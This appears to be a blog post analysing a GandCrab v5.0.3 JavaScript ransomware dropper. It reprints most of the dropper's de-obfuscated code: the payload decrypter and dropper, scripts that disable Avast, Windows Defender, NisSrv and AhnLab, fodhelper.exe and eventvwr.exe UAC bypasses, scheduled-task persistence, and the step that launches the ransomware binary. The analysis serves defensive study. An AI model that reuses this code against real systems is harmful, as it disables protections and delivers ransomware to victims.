Gandcrab v5.0.3 detail analysis of javascript delivery payload

Recently a friend of mine shared with me a javascript file which on execution resulted in machine been infected by GandCrab ransomeware. Initial through was that it must be the javascript implementation of ransomeware, but assumption tuned out to be wrong, the code was actually heavily obfuscated and it dropped the actual GandCrab binary (v5.0.3) which did the encryption. The javascript code did lots of other function using powershell script and ActiveXObject.

Below is the detail analysis of GandCrab:

The javascript code heavily relies on ActiveX technology to carry out its functionality like executing shell/powershell command and dropping files. The javascript code is also heavily obfuscated with string obfuscation techniques.

To those who don’t know what ActiveX is? Its a software framework limited to Internet Explorer on Windows but you can install ActiveX plugin for chrome and Firefox. The danger of this software lies in its ability to allows access/execute data/code in the operating system outside the browser sandbox. This feature is heavily exploited by this GandCrab javascript code with appropriate browser security settings it could have been avoided.

Layer One obfuscated payload

When the javascript script file was opened there were many variables with very lengthly values which was decrypted dynamically and obfuscated as we will progress with the analysis you will realized that there were multiple layers of obfuscation to avoided antivirus detection. The simplified code looks as shown below :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// completely useless code
var gveyimd = new Date();
// add some time delay
while (true) {
var cpedcxyfdmsl = new Date();
if ((cpedcxyfdmsl - gveyimd) > (942 + 58)) break;
}

// very lengthly payload
var layer_one_encrypted_payload = '886.....502';
// decrypt the obfuscated payload
var layer_one_decrypted_payload = layer_one_encrypted_payload.replace(/(\d{2})/g, function( payload) {
return String.fromCharCode(parseInt(payload, 10) + 30);
});

function exePayload(payload) {
(Function(payload)());
}

// execute the decypted payload
exePayload(layer_one_decrypted_payload);

The above de-obfuscation technique is again used by other javascript code with is dropped to kill antivirus softwares.

The above code de-obfuscation the first layer of obfuscation and runs the decrypted javascript code. This code is responsible for the following functions :

  1. Detect and kill Avast antivirus service
  2. Detect and kill Windows Defender service
  3. Detect and kill Microsoft Network Realtime Inspection Service
  4. Detect and kill Ahnlab v3 internet security
  5. Drop and execute GandCrabV5.0.3.

The skeleton of the de-obfuscated code is as show below :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function decryptAndDrop(ecryptedPayload, outputFileName) {
// decrypt and drop the payload
}

function runShellCommand(shellCommand) {
// run shell command
}

function getServiceStatus(serviceName) {
// gets all the service passed in the parameter
}

if (getServiceStatus('avast! Antivirus')) {
// kill Avast antivirus if detected running
}

if ((getServiceStatus('WdNisSvc')) || (getServiceStatus('WinDefend'))) {
// DISABLE Windows Defender if detected running
}

if (getServiceStatus('NisSrv'))
// DISABLE Window antivirus if detected running
}
if (getServiceStatus('V3 Service')) {
// Uninstall Ahnlabs if detected running

}

// drop and execute GandCrab binary

As we progress with the analysis we will see the detail explanation of each functionality, lets start with the basic function with are used used by the first layer of the code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var bewktojmagvc = new ActiveXObject('Scripting.FileSystemObject');
var zevdbpspf = WScript.CreateObject("WScript.Shell");
var malScriptPath = zevdbpspf.ExpandEnvironmentStrings("%USERPROFILE%") + "\\";


function decryptAndDrop(ecryptedPayload, outputFileName) {
// decrypt and drop the payload
var ecryptedPayloadClean = ecryptedPayload.split("").reverse().join("");
decyptedPayload = '';
for (i = 0; i < (ecryptedPayloadClean.length / 2); i++) {
decyptedPayload += String.fromCharCode('0x' + ecryptedPayloadClean.substr(i * 2, 2));
}
var payloadFile = new ActiveXObject("ADODB.Stream");
payloadFile.Type = 2;
payloadFile.Charset = "ISO-8859-1";
payloadFile.Open();
payloadFile.WriteText(decyptedPayload);
payloadFile.SaveToFile(outputFileName, 2);
payloadFile.Close();
}

The above function decrypts the payload passed as parameter and drops the file with the name specified in the second parameter. All the output files are drop in USERPROFILE directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function runShellCommand(shellCommand) {
var osShell = WScript.CreateObject("WScript.Shell");
var cmdResponse = osShell.Exec(shellCommand);
var i = 0;
while (true) {
if (cmdResponse.Status == 0) {
WScript.Sleep(100);
i++;
} else {
break;
}
if (i == 1800) {
cmdResponse.Terminate();
break;
}
}
}

The above function runs the shell command as passed as first parameter. If the command was not successful then it goes to sleeps for 100 ms and retries it again. Retries goes on for maximum of 1800 time, if still unsuccessful then it kill this shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function getServiceStatus(serviceName) {
// gets all the service passed in the parameter
var serviceObj = GetObject("winmgmts:").ExecQuery("SELECT * FROM Win32_Service WHERE Name='" + serviceName + "'");
vaatgfp = new Enumerator(serviceObj);
xcabb = vaatgfp.item();
var bfdln = '';
try {
bfdln = xcabb.State;
} catch (e) {}
if (bfdln == 'Running') {
return true;
} else {
return false;
}
}

This function get the status of service, it returns either true or false. The name of the service is passed as parameter to the function. This function is used many time in the script.

Killing Avast Antivirus

In the main javascript code first check if the Avast antivirus service is present? if it is. Then it drops and executes the kyoxks.js which is responsible for killing of antivirus. Below is the code with does that :

1
2
3
4
5
6
7
8
var pjqssmaj = 'B392....67';
if (getServiceStatus('avast! Antivirus')) {
decryptAndDrop(pjqssmaj, malScriptPath + 'kyoxks.js');
try {
runShellCommand('wscript.exe "' + malScriptPath + 'kyoxks.js"');
} catch (e) {}
WScript.sleep(15000);
}

The decrypted script kyoxks.js as shown below:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var windowsShell = WScript.CreateObject("shell.application");
var ligslo = new ActiveXObject("WScript.Shell");
var mirzgxodyv = GetObject("winmgmts:\\\\.\\root\\CIMV2");
var xuzvgzuuqvg = mirzgxodyv.ExecQuery("SELECT * FROM Win32_OperatingSystem", "WQL", 0x10 | 0x20);
var cruijgvvr = new Enumerator(xuzvgzuuqvg);
var vzryitg = cruijgvvr.item();
var htklccofp = vzryitg.SystemDirectory;
var fllijjwjsw = vzryitg.Version;
var arr = fllijjwjsw.split(".");

// lengthy Base64 encoded powershell payload
var nfdmkk = '[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("JABhAD.....sAfQA=")) | Invoke-Expression';

ligslo.RegWrite("HKEY_CURRENT_USER\\SOFTWARE\\ycsdrr\\pvrylqzhlnv", nfdmkk, "REG_SZ");

var kolhp = 'powershell -windowstyle hidden -command "(Get-ItemProperty -path HKCU:\\\\SOFTWARE\\\\ycsdrr).pvrylqzhlnv | Invoke-\'\'Expression\\\\\\"';

The function of the above script is :

  1. Write Base64 encoded Unicode PowerShell scripting code to the registry key. This PowerShell code will be scheduled to run at regular interval in the later part of the script.
  2. The corresponding registry key is HKEY_CURRENT_USER\SOFTWARE\ycsdrr\pvrylqzhlnv.
  3. After writing the above PowerShell command code to the registry it schedules it to run it regularly.

The variable nfdmkk is a base64 encoded Unicode String above, and decoded sting it is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$a1 = $env: temp;
$a1 = $a1 + '\_av_iup.tm~a01\';

$a2 = (Get - Process - Name AvastUI) | Split - Path;

if(Test-Path -Path $a2 ){
if(!(Test-Path -Path $a1 )){
New-Item -ItemType directory -Path $a1;
Copy-Item $a2'setup prod - pgm.vpx ' -Destination $a1;
Copy-Item $a2'setup products.def ' -Destination $a1;
Copy-Item $a2'setup uat.vpx ' -Destination $a1;
Copy-Item $a2'setup HTMLayout.dll ' -Destination $a1;
Copy-Item $a2'setup part - prg_ais - 1206092 d.vpx ' -Destination $a1;
Copy-Item $a2'setup part - setup_ais - 1206092 d.vpx ' -Destination $a1;
$a3 = $a2 + 'setup instup.exe ';
$a4 = '/prod:ais /sfx:clear /sfxstorage:"'+$a1+'" /wait ';
start-process $a3 $a4
}
}

Add-Type "a c# code showed in next section";

The Powershell script above does the following function:

  1. Copy the corresponding software files to the temporary directory.
  2. Find and start the Avast update program.
  3. Clear the cached data.
  4. Interesting powershell script also adds a type with Add-Type, which is the c# code which is as shown below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
using System;
using System.Runtime.InteropServices;
using System.Collections.Generic;
using System.Text;

public class a12 {
[return: MarshalAs(UnmanagedType.Bool)]

[DllImport(""user32.dll"", SetLastError = true, CharSet = CharSet.Auto)]
static extern bool PostMessage(IntPtr a15, uint Msg, IntPtr wParam, IntPtr lParam);

[DllImport(""user32.dll"", EntryPoint = ""FindWindowEx"", CharSet = CharSet.Auto)]
static extern IntPtr FindWindowEx(IntPtr a15Parent, IntPtr a15ChildAfter, string lpszClass, string lpszWindow);
[DllImport(""user32.dll"")] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool IsWindowVisible(IntPtr a15);

[DllImport(""user32.dll"", SetLastError = true)]
static extern uint GetWindowThreadProcessId(IntPtr a15, out uint lpdwProcessId);

[DllImport(""user32.dll"")]
public static extern bool ShowWindow(IntPtr a15, Int32 nCmdShow);

public static IntPtr a10(string windowTitle, int ProcessID) {
IntPtr retIntPtr = IntPtr.Zero;
int maxCount = 9999;
int ct = 0;
IntPtr prevChild = IntPtr.Zero;
IntPtr currChild = IntPtr.Zero;
while(true && ct < maxCount) {
currChild = FindWindowEx(IntPtr.Zero, prevChild, null, null);
if (currChild == IntPtr.Zero)
break;
if (IsWindowVisible(currChild)) {
uint procID = 0;
GetWindowThreadProcessId(currChild, out procID);
if (procID == ProcessID) {
retIntPtr = currChild;
break;
}
}
prevChild = currChild;
++ct;
}
return retIntPtr;
}
public static void a13(int a15) {
PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x20), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x20), new IntPtr(0));
ShowWindow(new IntPtr(a15), 0);
}
public static void a11(int a15) {
PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x09), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0100, new IntPtr(0x20), new IntPtr(0));
PostMessage(new IntPtr(a15), 0x0101, new IntPtr(0x20), new IntPtr(0));
ShowWindow(new IntPtr(a15), 0);
}
public static void a14(int a15) {
ShowWindow(new IntPtr(a15), 0);
}
}

The above code find the Avast Updater window process ID and Send the appropriate message with a11 a14 or a13 function using windows ShowWindow method.

In continuation with the above powershell script is the below script with Traverse the Avast updater process using the c# code which was just added.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$a6 = 0;
$a7 = 0;
While ($a -le 5) {
$a8 = Get-Process "instup";
$a9 = [a12]::a10("",$a8.Id);
If ([a12]::IsWindowVisible($a9)) {
if ($a7 -eq 1) {
[a12]::a11($a9);
$a7=2;
}
if ($a7 -eq 0) {
[a12]::a13($a9);
$a7=1;
}
if ($a7 -eq 2) {
[a12]::a11($a9);
[a12]::a14($a9)
}
}
Start-Sleep -seconds 1;
}

Next in continuation with avast killing javascript is the code shown below :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var fqhqkxq = 'powershell -ExecutionPolicy By\\\\\\"\\\\\\"Pass -windowstyle hi\\\\\\"\\\\\\"dd\\\\\\"\\\\\\"en -command \\\\\\"(Get-ItemProperty -path HKCU:\\\\SOFTWARE\\\\ycsdrr).pvrylqzhlnv | Invoke-\'\'Expression\\\\\\"';

if (arr[0] == '10') {
windowsShell.ShellExecute("powershell.exe", 'New-Item \'HKCU:\\Software\\Classes\\exefile\\shell\\open\\command\\\' -Force | New-ItemProperty -Name \'(Default)\' -Value \'schtasks /Create /SC DAILY /TN \\"lqesuuz\\" /RL Highest /TR \\"' + kolhp + '\\" /ST 05:12\' -PropertyType string -Force | Out-Null ; Start-Process \'slui.exe\' -Verb RunAs -Wait; Remove-Item -Path \'HKCU:\\Software\\Classes\\exefile\\\' -Force -Recurse; Start-Sleep -s 1; Start-ScheduledTask \'lqesuuz\'', "", "open", 0);
} else {
if (arr[0] == '6') {
windowsShell.ShellExecute("powershell.exe",
'New-Item \'HKCU:\\Software\\Classes\\mscfile\\shell\\open\\command\\\' -Force | New-ItemProperty -Name \'(Default)\' -Value \'schtasks /Create /SC DAILY /TN \\"lqesuuz\\" /RL Highest /TR \\"' + fqhqkxq + '\\" /ST 05:12\' -PropertyType string -Force | Out-Null ; Start-Process \'CompMgmtLauncher.exe\' -Verb RunAs -Wait; Start-Sleep -s 5; Remove-Item -Path \'HKCU:\\Software\\Classes\\mscfile\\\' -Force -Recurse; Start-Process \'schtasks\' \'/run /TN \\"lqesuuz\\"\'',
"", "open", 0);
}
}

var counter = 0;
while (true) {
if (getServiceStatus('avast! Antivirus')) {
WScript.sleep(100);
} else {
WScript.sleep(5000);
break;
}
counter = counter + 1;
if (counter == 1800) {
break;
}
}

Its function is to create a scheduled task named as lqesuuz and execute it through PowerShell.

Following are the task which are execute the above code through the scheduled task :

  1. schtasks /Create /SC DAILY /TN \“lqesuuz\“ /RL Highest /TR \“powershell -windowstyle hidden -command “(Get-ItemProperty -path HKCU:\\SOFTWARE\\ycsdrr).pvrylqzhlnv\“ /ST 05:12
  2. schtasks /Create /SC DAILY /TN \“lqesuuz\“ /RL Highest /TR \“powershell -ExecutionPolicy ByPass -windowstyle hidden -command “(Get-ItemProperty -path HKCU:\SOFTWARE\ycsdrr).pvrylqzhlnv\“ /ST 05:12\

To understand what the above command does here is some command reference for Microsoft documentation :

CommandDescription
/SC scheduleA value that specifies the schedule frequency. Valid values are: MINUTE, HOURLY, DAILY, so on
/TN tasknamename of task
/RL levelA value that sets the run level for the task. Valid values are LIMITED and HIGHEST. The default is LIMITED.
/TR taskrunA value that specifies the path and file name of the task to be run at the scheduled time
/ST starttimeA value that specifies the start time to run the task. The time format is HH:mm (24-hour time)

Killing Windows Defender

If it detects that the system service contains WdNisSvc or WinDefend services with following code :

1
2
3
4
5
6
7
var wvspotnpwm = 'B39266B....667';
if ((getServiceStatus('WdNisSvc')) || (getServiceStatus('WinDefend'))) {
decryptAndDrop(wvspotnpwm, malScriptPath + 'nykvwcajm.js');
try {
runShellCommand('wscript.exe "' + malScriptPath + 'nykvwcajm.js"');
} catch (e) {}
}

It generates and executes the nykvwcajm.js script, which on decryption is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
serviceName = '';
if (getServiceStatus('WdNisSvc')) {
serviceName = 'WdNisSvc';
} else {
if (getServiceStatus('WinDefend')) {
serviceName = 'WinDefend';
}
}
var amdiac = WScript.CreateObject("shell.application");
var zlrvcjg = new ActiveXObject("WScript.Shell");
var dhqjbo = GetObject("winmgmts:\\\\.\\root\\CIMV2");
var qpoyqecprmfq = dhqjbo.ExecQuery("SELECT * FROM Win32_OperatingSystem", "WQL", 0x10 | 0x20);
var kscpive = new Enumerator(qpoyqecprmfq);
var zrtkekm = kscpive.item();
var llkxvhpslfqw = zrtkekm.SystemDirectory;
var tamrvhtepo = zrtkekm.Version;
var arr = tamrvhtepo.split(".");
if (arr[0] == '10') {
zlrvcjg.RegWrite("HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\shell\\open\\command\\",
'cmd.exe /C "powershell Set-MpPreference -DisableRealtimeMonitoring $true && taskkill /im MSASCui* /f /t"',
"REG_SZ");
zlrvcjg.RegWrite("HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\shell\\open\\command\\DelegateExecute",
"", "REG_SZ");
amdiac.ShellExecute(llkxvhpslfqw + "\\fodhelper.exe", "", "", "open", 0);
WScript.sleep(2000);
amdiac.MinimizeAll();
zlrvcjg.RegDelete("HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\shell\\open\\command\\");
} else {
if (arr[0] == '6') {
zlrvcjg.RegWrite("HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\\",
'cmd.exe /C "sc stop WinDefend && taskkill /im MSASCui* /f /t"',
"REG_SZ");
amdiac.ShellExecute(llkxvhpslfqw + "\\eventvwr.exe", "", "", "open", 0);
WScript.sleep(2000);
zlrvcjg.RegDelete("HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\\");
}
}

The above script does the following :

  1. Decrypt the corresponding JS script content.
  2. Tries to detect if WdNisSvc or WinDefend service is running.
  3. Then it tries to determine the version of the operating system and executes the command based on the OS version.
  4. If its windows 10 then it does following :
    1. It write the command cmd.exe /C “powershell Set-MpPreference -DisableRealtimeMonitoring $true && taskkill /im MSASCui /f /t cmd. Exe /C “sc stop WinDefend && taskkill /im MSASCui /f /t to registry key.
    2. The corresponding registry key is HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\.
    3. The purpose of the command is to disable the Windows Defender.
    4. It sets the registry key HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\DelegateExecute value to blank.
    5. Execute fodhelper.exe this is the binary which read the command from the registry key and executes the command at high privilege.
    6. sleeps for 2 secs and then deletes the same HKEY_CURRENT_USER\Software\Classes\ms-settings\shell\open\command\ registry key.
  5. If the Version detected is 6(for Windows 7 and above) in that case it will do the following :
    1. It write the command cmd.exe /C “sc stop WinDefend && taskkill /im MSASCui* /f /t” to registry key.
    2. The corresponding registry key is HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\
    3. The purpose of the command is to disable the Windows Defender.
    4. Execute eventvwr.exe this is the binary which read the command from the registry key and executes the command at high privilege.
    5. sleeps for 2 secs and then deletes the same HKEY_CURRENT_USER\Software\Classes\mscfile\shell\open\command\ registry key.

When is say windows 7 and above it means following Operating System:

  1. Windows Vista
  2. Windows 7
  3. Windows 8
  4. Windows 8.1

What the above script is tying to achieve is the get privilege escalation and then disable the windows Defender service. To read more about this vulnerability on the Windows UAC bypass check the blogs below :

  1. Window 10 UAC Bypass
  2. Window 7 and above UAC Bypass

Kill Microsoft Network Realtime Inspection Service

This below snippet in the main javascript file tries to detect if the Microsoft NisSrv service is running.
NIsSrv stands for Microsoft Network Realtime Inspection Service its a microsoft antivirus service starts at Windows boot time, implementing the Network Inspection Service. If it detect this service running then it drop and execute bervcptyvulur.js file.

1
2
3
4
5
6
7
var hoszxms = 'B3926...667';
if (getServiceStatus('NisSrv')) {
decryptAndDrop(hoszxms, malScriptPath + 'bervcptyvulur.js');
try {
runShellCommand('wscript.exe "' + malScriptPath + 'bervcptyvulur.js"');
} catch (e) {}
}

bervcptyvulur.js file is when decrypted it should look as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var sxwvah = WScript.CreateObject("shell.application");
var siwbezkij = new ActiveXObject("WScript.Shell");
var fufajgarmx = GetObject("winmgmts:\\\\.\\root\\CIMV2");
var lsiicx = fufajgarmx.ExecQuery("SELECT * FROM Win32_OperatingSystem", "WQL", 0x10 | 0x20);
var zynhqkeg = new Enumerator(lsiicx);
var iaibbfhyncgmgt = zynhqkeg.item();
var vjcrmmpy = iaibbfhyncgmgt.SystemDirectory;
var nimlctvre = iaibbfhyncgmgt.Version;
var arr = nimlctvre.split(".");
if (arr[0] == '10') {
siwbezkij.RegWrite("HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\shell\\open\\command\\",
'MsiExec.exe /X{2AA3C13E-0531-41B8-AE48-AE28C940A809} ACCEPT=YES /qr+ /quiet',
"REG_SZ");
siwbezkij.RegWrite("HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\shell\\open\\command\\DelegateExecute",
"", "REG_SZ");
sxwvah.ShellExecute("explorer.exe", '"' + vjcrmmpy + '\\fodhelper.exe"', "", "open", 0);
WScript.sleep(10000);
siwbezkij.RegDelete("HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\shell\\open\\command\\");
} else {
if (arr[0] == '6') {
siwbezkij.RegWrite("HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\\",
'MsiExec.exe /X {2AA3C13E-0531-41B8-AE48-AE28C940A809} ACCEPT=YES /qr+ /quiet',
"REG_SZ");
sxwvah.ShellExecute("explorer.exe", '"' + vjcrmmpy + '\\eventvwr.exe"', "", "open", 0);
WScript.sleep(10000);
siwbezkij.RegDelete("HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\\");
}
}

This above script uses the same method for privilage escalation with the difference been the command been execute which are as follows :

  1. MsiExec.exe /X{2AA3C13E-0531-41B8-AE48-AE28C940A809} ACCEPT=YES /qr+ /quiet for Window 10
  2. MsiExec.exe /X {2AA3C13E-0531-41B8-AE48-AE28C940A809} ACCEPT=YES /qr+ /quiet for Window7 and above.

Kill Ahnlab Antivirus

If the code detects system running V3 Service then the below code runs. It decrypts and drops a file called recjyzcz.js this file is only dropped only if tgydmilslvp.txt is already present on %USERPROFILE% path otherwise it will drops the file tgydmilslvp.txt that contains value 777.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var fileSystemObject = new ActiveXObject('Scripting.FileSystemObject');

if (getServiceStatus('V3 Service')) {
var mvqwaqu = 'B39...667';
if (fileSystemObject.FileExists(malScriptPath + "tgydmilslvp.txt")) {
decryptAndDrop(mvqwaqu, malScriptPath + 'recjyzcz.js');
try {
runShellCommand('wscript.exe "' + malScriptPath + 'recjyzcz.js"');
} catch (e) {}
} else {
decryptAndDrop('727272', malScriptPath + 'tgydmilslvp.txt');
try {
runShellCommand('wscript.exe "' + WScript.ScriptFullName + '"');
} catch (e) {}
WScript.Quit();
}
}

When the file recjyzcz.js is decrypted and dropped it look as below :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
var shellObject = WScript.CreateObject("shell.application");
var wScriptObject = new ActiveXObject("WScript.Shell");
var mtvunslh = GetObject("winmgmts:\\\\.\\root\\CIMV2");
var hewjay = mtvunslh.ExecQuery("SELECT * FROM Win32_OperatingSystem", "WQL", 0x10 | 0x20);
var yhqpykwg = new Enumerator(hewjay);
var yjiofgrdfx = yhqpykwg.item();
var systemDirectoryPath = yjiofgrdfx.SystemDirectory;
var OSVersionStr = yjiofgrdfx.Version;
var OSVersion = OSVersionStr.split(".");

// base64 encoded unicode string
var zrynfhnwsub = 'QQBk...H0A';

wScriptObject.RegWrite("HKEY_CURRENT_USER\\Software\\capvzgf\\cazysa", zrynfhnwsub, "REG_SZ");
// long unicode encoded strings when decoded looks like below
// (Get-ItemProperty -path 'HKCU:\SOFTWARE\capvzgf').cazysa
var djziapwzi = systemDirectoryPath + '\\WindowsPowerShell\\v1.0\\powershell.exe -nologo -noprofile -ExecutionPolicy ByPass -w hidden -EncodedCommand WwB.....AA==';
if (OSVersion[0] == '10') {
wScriptObject.RegWrite("HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\shell\\open\\command\\",
djziapwzi,
"REG_SZ");
wScriptObject.RegWrite("HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\shell\\open\\command\\DelegateExecute",
"", "REG_SZ");
shellObject.ShellExecute("explorer.exe", '"' + systemDirectoryPath + '\\fodhelper.exe"', "", "open", 0);
WScript.sleep(5000);
wScriptObject.RegDelete("HKEY_CURRENT_USER\\Software\\Classes\\ms-settings\\shell\\open\\command\\");
} else {
if (OSVersion[0] == '6') {
wScriptObject.RegWrite("HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\\",
djziapwzi, "REG_SZ");
shellObject.ShellExecute("explorer.exe", '"' + systemDirectoryPath + '\\eventvwr.exe"', "", "open", 0);
WScript.sleep(5000);
wScriptObject.RegDelete("HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command\\");
}
}

The above script follows the same pattern as previous scripts it writes a PowerShell script to registry key HKEY_CURRENT_USER\Software\capvzgf\cazysa and then use the same privilage escalation method as described in the previous section to execute that PowerShell script at high privilage.

The PowerShell script is base64 encoded unicode string, on decoding the script is as shown below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Add-Type ' c# code show in next section';

$a1=(Get-Process -Name V3Lite).path | Split-Path;

$a2 = $a1+'\Uninst.exe';

if([System.IO.File]::Exists($a2)){
$a5 = $ENV:UserProfile+'\Desktop\install.exe';
$a6 = "C:\Windows\System32\cmd.exe";
Copy-Item $a2 -Destination $a5;
$a3 = '/c "runas /trustlevel:0x40000 ^"'+$a5+' -Uninstall^" & ^"%TEMP%\AhnUn000.tmp^" -UC"';
start-process $a6 $a3 -WindowStyle Hidden;
$a7 = '/c "runas /trustlevel:0x40000 ^"%TEMP%\AhnUn000.tmp -UC^""';
Start-Sleep -seconds 5;
start-process $a6 $a7 -WindowStyle Hidden;
$a = 0;
While ($a -le 5) {
Start-Sleep -s 1;
$a4 = Get-Process "AhnUn000.tmp";
if ($a4) {
if([int]$a4.MainWindowHandle -eq 0) {
Start-Sleep -seconds 1
}
[WindowHelper]::SendKeysMe($a4.MainWindowHandle)
}
}
}

The above script run the following commands at elevated privilages :

  1. C:\Windows\System32\cmd.exe /c “runas /trustlevel:0x40000 \Desktop\install.exe -Uninstall” & “%TEMP%\AhnUn000.tmp” -UC
  2. C:\Windows\System32\cmd.exe /c “runas /trustlevel:0x40000 %TEMP%\AhnUn000.tmp” -UC

What its doing is uninstalling the Ahnlab antivirus.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
using System;
using System.Runtime.InteropServices;

public class WindowHelper {
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern bool PostMessage( IntPtr hWnd,
uint Msg,
IntPtr wParam,
IntPtr lParam);
[return : MarshalAs(UnmanagedType.Bool)]

[DllImport("user32.dll")]
public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);

const Int32 WM_KEYDOWN = 0x0100;
const Int32 VK_RETURN = 0x0D;

public static void SendKeysMe(int hWnd) {
PostMessage(new IntPtr(hWnd),
WM_KEYDOWN,
new IntPtr(VK_RETURN),
new IntPtr(0));
ShowWindow(new IntPtr(hWnd),
0);
}
}

Drop and execute GandCrab binary

Once the environment is set properly i.e. removing security products the javascript file drops and executes the malware binary leading to system encryption, code to drop binary is as shown below.

1
2
3
4
5
6
7
8
9
10
11
12
var stwnydqsuji = WScript.CreateObject("shell.application");
var bewktojmagvc = new ActiveXObject('Scripting.FileSystemObject');

var xtaqukamdxzx = '0000....5D4';

decryptAndDrop(xtaqukamdxzx, malScriptPath + 'dsoyaltj.exe');

if (bewktojmagvc.FileExists(malScriptPath + "dsoyaltj.exe")) {
try {
stwnydqsuji.ShellExecute('"' + malScriptPath + "dsoyaltj.exe" + '"', '', "", "open", 1);
} catch (e) {}
}
MD5File
595A31A4913951D3EB7211618AE75DEAjavascript dropper
95557A29DE4B70A25CE62A03472BE684binary file

source code of all the analysis can be found on this link

References

  1. PowerShell Add-Type
  2. What is NisSrv.exe
  3. Window 10 UAC Bypass
  4. Window 7 and 8 UAC Bypass
Share